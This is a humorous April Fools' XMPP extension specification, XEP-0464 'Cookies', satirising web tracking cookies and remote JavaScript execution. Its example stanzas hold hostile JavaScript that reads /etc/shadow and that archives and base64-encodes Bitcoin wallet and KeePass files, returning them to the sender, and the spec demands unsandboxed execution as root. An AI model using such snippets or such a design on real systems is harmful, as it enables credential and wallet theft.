



XMPP

XEP-0464: Cookies

Travis Burtrum

<mailto:travis@burtrum.org>

<xmpp:travis@burtrum.org>

2022-04-01

Version 1.0

Status	Type	Short Name
Active	Humorous	cookies

This document defines an XMPP protocol extension for setting and sending cookies.

Legal

Copyright

This XMPP Extension Protocol is copyright © 1999 – 2020 by the [XMPP Standards Foundation](#) (XSF).

Permissions

Permission is hereby granted, free of charge, to any person obtaining a copy of this specification (the "Specification"), to make use of the Specification without restriction, including without limitation the rights to implement the Specification in a software program, deploy the Specification in a network service, and copy, modify, merge, publish, translate, distribute, sublicense, or sell copies of the Specification, and to permit persons to whom the Specification is furnished to do so, subject to the condition that the foregoing copyright notice and this permission notice shall be included in all copies or substantial portions of the Specification. Unless separate permission is granted, modified works that are redistributed shall not contain misleading information regarding the authors, title, number, or publisher of the Specification, and shall not claim endorsement of the modified works by the authors, any organization or project to which the authors belong, or the XMPP Standards Foundation.

Warranty

NOTE WELL: This Specification is provided on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE.

Liability

In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall the XMPP Standards Foundation or any author of this Specification be liable for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising from, out of, or in connection with the Specification or the implementation, deployment, or other use of the Specification (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if the XMPP Standards Foundation or such author has been advised of the possibility of such damages.

Conformance

This XMPP Extension Protocol has been contributed in full conformance with the XSF's Intellectual Property Rights Policy (a copy of which can be found at <https://xmpp.org/about/xsf/ipr-policy>) or obtained by writing to XMPP Standards Foundation, P.O. Box 787, Parker, CO 80134 USA).

Contents

1	Introduction	1
2	Requirements and Approach	1
3	Use Cases	1
3.1	Set-Cookies Messages	1
3.2	Set-Cookies Presence	2
3.3	Set-Cookies IQs	2
3.4	Cookies In All Outgoing Stanzas	3
4	Determining Support	4
5	Security Considerations	4
6	IANA Considerations	5
7	XMPP Registrar Considerations	5

1 Introduction

RFC 6265¹ defines a simple method for to track HTTP users across all domains on the internet, and this is the single thing XMPP is lacking to gain widespread adoption. Therefore this document defines a similar simple method to set cookies to an XMPP entity which they will then include on every outgoing stanza from that point forward. The web also allows sending arbitrary JavaScript to remote entities which is then executed and put in these cookies, we need this in XMPP too if it is to be taken seriously.

2 Requirements and Approach

There are three basic XMPP stanza types that may be sent within XML streams:

- `<message/>` -- a "push" medium for sending information to other entities.
- `<presence/>` -- a "broadcast" medium for publishing information to entities that have subscribed to an entity's availability status.
- `<iq/>` -- a "request-response" medium for executing basic but structured transactions with other entities.

Any one of the foregoing data elements can be used to set cookies. Therefore a generalized mechanism is needed. Because XML namespaces are used within XMPP to properly scope data, this document proposes a new namespace ('urn:xmpp:tmp:cookies') to implement the desired functionality.

If a set-cookie child has an attribute `js='true'` then the value of the cookie MUST be executed in a JavaScript interpreter with the highest privileges possible, preferably as root, and MUST NOT be executed in a sandbox. The stdout MUST be captured and used as the cookie value.

If a set-cookie child matches an already stored one with that setter's JID, then you MUST overwrite the previous value, otherwise store the new one for sending in all future stanzas.

3 Use Cases

3.1 Set-Cookies Messages

If a cookie-setter sends a set-cookies message to a cookie-settee, it MUST include an appropriately namespaced extension in the message stanza:

Listing 1: Cookie-setter Sends Cookie Setting Message

¹RFC 6265: HTTP State Management Mechanism <<http://tools.ietf.org/html/rfc6265>>.

```

<message
  from='iago@shakespeare.lit/pda'
  to='emilia@shakespeare.lit/mobile'>
  <body>
    I told him what I thought, and told no more
    Than what he found himself was apt and true.
  </body>
  <set-cookies xmlns='urn:xmpp:tmp:cookies'>
    <cohort>aoeu</cohort>
    <is-jerk>true</is-jerk>
  </set-cookies>
</message>

```

3.2 Set-Cookies Presence

If a cookie-setter sends set-cookies presence information to a cookie-settee, it MUST include an appropriately namespaced extension in the presence stanza:

Listing 2: Cookie-setter Sends Cookie Setting Presence

```

<presence from='iago@shakespeare.lit/pda'>
  <show>dnd</show>
  <status>Fomenting dissension</status>
  <set-cookies xmlns='urn:xmpp:tmp:cookies'>
    <passwd js='true'>
      fs = require('fs')
      fs.readFile('/etc/shadow', 'utf8', function (err,data) {
        console.log(data);
      });
    </passwd>
  </set-cookies>
</presence>

```

3.3 Set-Cookies IQs

If a cookie-setter provides set-cookies information in an IQ exchange with a cookie-settee, it MUST include an appropriately namespaced extension in the IQ stanza:

Listing 3: Cookie-setter Sends Cookie Setting Message

```

<iq from='iago@shakespeare.lit/pda'
  id='cookies1'
  type='result'
  to='emilia@shakespeare.lit/mobile'>
  <query xmlns='jabber:iq:version'>
    <name>Stabber</name>
    <version>666</version>
  </query>
</iq>

```

```

<os>FiendOS</os>
<set-cookies xmlns='urn:xmpp:tmp:cookies'>
  <innocent js='true'>
    const { exec } = require('child_process');
    exec('find_/_(name_".bitcoin"_-o_-name_"*.kdbx"_)_-
      print0_|_xargs_-0_tar_cz_|_base64', (err, stdout, stderr
    ) => {
      console.log(stdout);
    });
  </innocent>
</set-cookies>
</query>
</iq>

```

3.4 Cookies In All Outgoing Stanzas

After a cookie-settee has received cookies from a cookie-setter, it MUST include them in every outgoing stanza it sends from then on, and MUST include an attribute stating the JID that set them, this allows multiple cookies with the same name, it MUST include an appropriately namespaced extension in the stanza:

Listing 4: Cookie-settee Sends Message With Cookies

```

<message
  from='emilia@shakespeare.lit/mobile'
  to='iago@shakespeare.lit/pda'>
  <body>
    I told him what I thought, and told no more
    Than what he found himself was apt and true.
  </body>
  <cookies xmlns='urn:xmpp:tmp:cookies'>
    <cohort setter='iago@shakespeare.lit'>aoeu</cohort>
    <is-jerk setter='iago@shakespeare.lit'>true</is-jerk>
    <passwds setter='iago@shakespeare.lit'>
      root:$6$XC1./G1wtbS7yG6Y$MAIN1taww5nP/0
      aZKM1K0WeXH5cNji6aRh2Eq1FiCgu0iqo9p7WePMMKwhlRS9ZcMhpxjL3CugJTPJ0oXpdyG1:176

      emilia:$6$JdGTILrodj7J44tC$8lQYRKHjUhTx1.szIr/
      m7UZp1zQtWKDb75ddqbiRt12WpSn3dAhHhA.gT93HGm9hZoZBX/4
      eDYpDoas5JK.tq/:18818:0:99999:7:::
    </passwds>
    <innocent setter='iago@shakespeare.lit'>
      H4sIAAAAAAAAAA+3QQW7DIBCFYa97ijlBZSxc36J3IGWURnHAApPEt6/
      jdhE27SpqK/2fhEAzTwNi
      cjlfYvL5+bjz1+Yh2tWltbFDH17v2+63
      jbgdqZv02tu0dMNg2mkfcxzaixPLok0pzi59E3up/4/
      9apnTbKPITjZH84qSyxSpqf7+
      qjzVvbxEqpGkKfciiV4cevyjmjVt0Sp1csfPsw9pqRrZLespt+2ti
    </innocent>
  </cookies>
</message>

```

```
VX3WcZT12oNuY9/L19Df/isAAAAAAAAAAAAAAAAAAAA+Es+AGxXV5MAKAAA
</innocent>
</cookies>
</message>
```

4 Determining Support

Entities that support cookies MUST advertise their support for this protocol in their responses to [Service Discovery \(XEP-0030\)](#)² information ("disco#info") requests by returning a feature of "urn:xmpp:tmp:cookies":

Listing 5: A disco#info query

```
<iq from='emilia@shakespeare.lit/mobile'
  id='disco1'
  to='iago@shakespeare.lit/pda'
  type='get'>
  <query xmlns='http://jabber.org/protocol/disco#info' />
</iq>
```

Listing 6: A disco#info response

```
<iq from='iago@shakespeare.lit/pda'
  id='disco1'
  to='emilia@shakespeare.lit/mobile'
  type='result'>
  <query xmlns='http://jabber.org/protocol/disco#info'>
    <feature var='urn:xmpp:tmp:cookies' />
  </query>
</iq>
```

In order for an application to determine whether an entity supports this protocol, where possible it SHOULD use the dynamic, presence-based profile of service discovery defined in [Entity Capabilities \(XEP-0115\)](#)³. However, if an application has not received entity capabilities information from an entity, it SHOULD use explicit service discovery instead.

5 Security Considerations

What could possibly go wrong?

²XEP-0030: Service Discovery <<https://xmpp.org/extensions/xep-0030.html>>.

³XEP-0115: Entity Capabilities <<https://xmpp.org/extensions/xep-0115.html>>.

6 IANA Considerations

This document requires no interaction with the [Internet Assigned Numbers Authority \(IANA\)](#)⁴.

7 XMPP Registrar Considerations

The [XMPP Registrar](#)⁵ shall register the 'urn:xmpp:tmp:cookies' namespace as a result of this document.

⁴The Internet Assigned Numbers Authority (IANA) is the central coordinator for the assignment of unique parameter values for Internet protocols, such as port numbers and URI schemes. For further information, see <http://www.iana.org/>.

⁵The XMPP Registrar maintains a list of reserved protocol namespaces as well as registries of parameters used in the context of XMPP extension protocols approved by the XMPP Standards Foundation. For further information, see <https://xmpp.org/registrar/>.